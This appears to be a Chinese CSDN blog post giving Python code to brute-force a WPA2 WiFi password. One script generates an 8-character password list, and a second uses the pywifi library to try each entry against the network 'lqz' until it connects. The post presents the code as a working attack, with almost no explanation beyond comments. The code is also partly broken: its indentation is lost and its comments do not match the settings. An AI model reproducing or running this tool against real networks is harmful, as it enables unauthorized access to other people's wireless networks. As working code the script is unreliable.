✅作者简介:华为云开发者联盟社区创作者
个人主页:北雨·寒冰~ 的CSDN博客
系列专栏:易语言
个人格言:书山有路勤为径,学海无涯苦作舟
pip install -i https://mirrors.aliyun.com/pypi/simple/ pywifi
pip install -i https://mirrors.aliyun.com/pypi/simple/ comtypes
import itertools as its
import time
# 迭代器,输入你认为的密码组成
words = "abcdefghijklmnopqrstuvwxyz123456789"
# 生成密码本的位数,五位数,repeat=5
r = its.product(words, repeat=8)
# 保存在文件中,追加
dic = open("password.txt", "w")
# i是元组
for i in r:
time.sleep(1)
# jion空格链接
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
print("密码本已生成")
import pywifi
from pywifi import const
import time
# 测试连接,返回链接结果
def wifi_connect(pwd):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
wireless_network = wifi.interfaces()[0]
# 断开所有连接
wireless_network.disconnect()
# time.sleep(1)
wifi_status = wireless_network.status()
if wifi_status == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
wifi_file = pywifi.Profile()
# 要连接WiFi的名称
wifi_file.ssid = "lqz"
# 网卡的开放状态
wifi_file.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
wifi_file.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
wifi_file.key = pwd
# 删除所有连接过的wifi文件
wireless_network.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = wireless_network.add_network_profile(wifi_file)
wireless_network.connect(tep_profile)
# wifi连接时间
time.sleep(3)
if wireless_network.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# 读取密码本
def check_password():
print("开始破解:")
# 密码本路径
path = "password.txt"
# 打开文件
file = open(path, "r")
while True:
try:
# 一行一行读取
pad = file.readline()
bool = wifi_connect(pad)
if bool:
print("密码已破解: ", pad)
file.close()
print("WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ", pad)
except:
continue
check_password()
加油!